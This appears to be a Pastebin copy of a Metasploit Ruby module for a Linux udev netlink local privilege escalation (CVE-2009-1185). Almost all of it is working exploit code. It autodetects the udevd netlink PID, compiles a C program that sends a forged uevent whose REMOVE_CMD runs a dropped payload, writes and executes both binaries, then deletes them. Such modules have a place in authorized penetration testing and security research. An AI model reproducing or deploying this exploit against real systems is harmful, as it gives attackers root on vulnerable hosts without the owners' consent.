Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # This file is part of the Metasploit Framework and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # web site for more information on licensing and terms of use.
- # http://metasploit.com/
- ##
- require 'msf/core'
- require 'rex'
- require 'msf/core/post/common'
- require 'msf/core/post/file'
- require 'msf/core/post/linux/priv'
- require 'msf/core/exploit/local/linux_kernel'
- require 'msf/core/exploit/local/linux'
- require 'msf/core/exploit/local/unix'
- #load 'lib/msf/core/post/file.rb'
- #load 'lib/msf/core/exploit/local/unix.rb'
- #load 'lib/msf/core/exploit/local/linux.rb'
- #load 'lib/msf/core/exploit/local/linux_kernel.rb'
- class Metasploit4 < Msf::Exploit::Local
- Rank = GreatRanking
- include Msf::Exploit::EXE
- include Msf::Post::File
- include Msf::Post::Common
- include Msf::Exploit::Local::LinuxKernel
- include Msf::Exploit::Local::Linux
- include Msf::Exploit::Local::Unix
- def initialize(info={})
- super( update_info( info, {
- 'Name' => 'Linux udev Netlink Local Privilege Escalation',
- 'Description' => %q{
- Versions of udev < 1.4.1 do not verify that netlink messages are
- coming from the kernel. This allows local users to gain privileges by
- sending netlink messages from userland.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'kcope', # discovery
- 'Jon Oberheide', # 95-udev-late.rules technique
- 'egypt' # metasploit module
- ],
- 'Platform' => [ 'linux' ],
- 'Arch' => [ ARCH_X86 ],
- 'SessionTypes' => [ 'shell', 'meterpreter' ],
- 'References' =>
- [
- [ 'CVE', '2009-1185' ],
- [ 'OSVDB', '53810' ],
- [ 'BID', '34536' ]
- ],
- 'Targets' =>
- [
- [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
- [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
- #[ 'Command payload', { 'Arch' => ARCH_CMD } ],
- ],
- 'DefaultOptons' => { 'WfsDelay' => 2 },
- 'DefaultTarget' => 0,
- 'DisclosureDate' => "",
- }
- ))
- register_options([
- OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
- OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]),
- ], self.class)
- end
- def exploit
- if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0
- netlink_pid = datastore["NetlinkPID"]
- else
- print_status("Attempting to autodetect netlink pid...")
- netlink_pid = autodetect_netlink_pid
- end
- if not netlink_pid
- print_error "Couldn't autodetect netlink PID, try specifying it manually."
- print_error "Look in /proc/net/netlink for a PID near that of the udevd process"
- return
- else
- print_good "Found netlink pid: #{netlink_pid}"
- end
- sc = Metasm::ELF.new(@cpu)
- sc.parse %Q|
- #define DEBUGGING
- #define NULL ((void*)0)
- #ifdef __ELF__
- .section ".bss" rwx
- .section ".text" rwx
- .entrypoint
- #endif
- call main
- push eax
- call exit
- |
- # Set up the same include order as the bionic build system.
- # See external/source/meterpreter/source/bionic/libc/Jamfile
- cparser.lexer.include_search_path = [
- "external/source/meterpreter/source/bionic/libc/include/",
- "external/source/meterpreter/source/bionic/libc/private/",
- "external/source/meterpreter/source/bionic/libc/bionic/",
- "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
- "external/source/meterpreter/source/bionic/libc/kernel/common/",
- "external/source/meterpreter/source/bionic/libc/arch-x86/include/",
- ]
- cparser.parse(%Q|
- #define DEBUGGING
- // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
- #ifndef __extension__
- #define __extension__
- #endif
- // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
- // Doing #if on an undefined macro is fine in GCC, but a parse error in
- // metasm.
- #ifndef __STDC__
- #define __STDC__ 0
- #endif
- #include <sys/types.h>
- #include <stdarg.h>
- #include <stdio.h>
- #include <unistd.h>
- #include <errno.h>
- |)
- [
- "external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
- "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
- "external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
- ].each do |fname|
- cparser.parse(File.read(fname), fname)
- end
- payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
- evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
- unix_socket_h(sc)
- linux_x86_syscall_wrappers(sc)
- main = %Q^
- #include <string.h>
- #include <linux/netlink.h>
- #define NULL 0
- int main() {
- int sock;
- struct iovec iov;
- struct sockaddr_nl sa;
- struct msghdr msg;
- char *mp;
- char message[4096];
- memset(sa, 0, sizeof(sa));
- sa.nl_family = AF_NETLINK;
- sa.nl_pid = #{netlink_pid};
- sa.nl_groups = 0;
- memset(&msg, 0x00, sizeof(struct msghdr));
- msg.msg_name = (void *)&sa;
- msg.msg_namelen = sizeof(sa);
- msg.msg_iov = &iov;
- msg.msg_iovlen = 1;
- msg.msg_control = NULL;
- msg.msg_controllen = 0;
- msg.msg_flags = 0;
- sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
- bind(sock, (struct sockaddr *) &sa, sizeof(sa));
- mp = message;
- mp += sprintf(mp, "remove@/d") + 1;
- mp += sprintf(mp, "SUBSYSTEM=block") + 1;
- mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1;
- mp += sprintf(mp, "TIMEOUT=10") + 1;
- mp += sprintf(mp, "ACTION=remove") +1;
- mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1;
- iov.iov_base = (void*)message;
- iov.iov_len = (int)(mp-message);
- sendmsg(sock, &msg, 0);
- close(sock);
- return 0;
- }
- ^
- cparser.parse(main, "main.c")
- asm = cpu.new_ccompiler(cparser, sc).compile
- sc.parse asm
- sc.assemble
- begin
- elf = sc.encode_string
- rescue
- print_error "Metasm Encoding failed: #{$!}"
- elog "Metasm Encoding failed: #{$!.class} : #{$!}"
- elog "Call stack:\n#{$!.backtrace.join("\n")}"
- return
- end
- pl = payload.encoded_exe
- print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}"
- write_file(payload_path, pl)
- print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}"
- write_file(evil_path, elf)
- print_status "chmod'ing and running it..."
- cmd_exec("chmod 755 #{evil_path} #{payload_path}")
- cmd_exec("#{evil_path}")
- rm_f(evil_path, payload_path)
- end
- def autodetect_netlink_pid
- netlink_pid = nil
- case session.type
- when "meterpreter"
- print_status("Meterpreter session, using get_processes to find netlink pid")
- process_list = session.sys.process.get_processes
- udev_proc = process_list.find {|p| p["name"] =~ /udevd/ }
- udev_pid = udev_proc["pid"]
- print_status "udev pid: #{udev_pid}"
- netlink = read_file("/proc/net/netlink")
- netlink.each_line do |line|
- pid = line.split(/\s+/)[2].to_i
- if pid == udev_pid - 1
- netlink_pid = pid
- break
- end
- end
- else
- print_status("Shell session, trying sh script to find netlink pid")
- netlink_pid = cmd_exec(
- %q^
- for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do
- for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do
- [ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;
- done;
- done ^)
- netlink_pid = nil if netlink_pid.empty?
- end
- netlink_pid
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement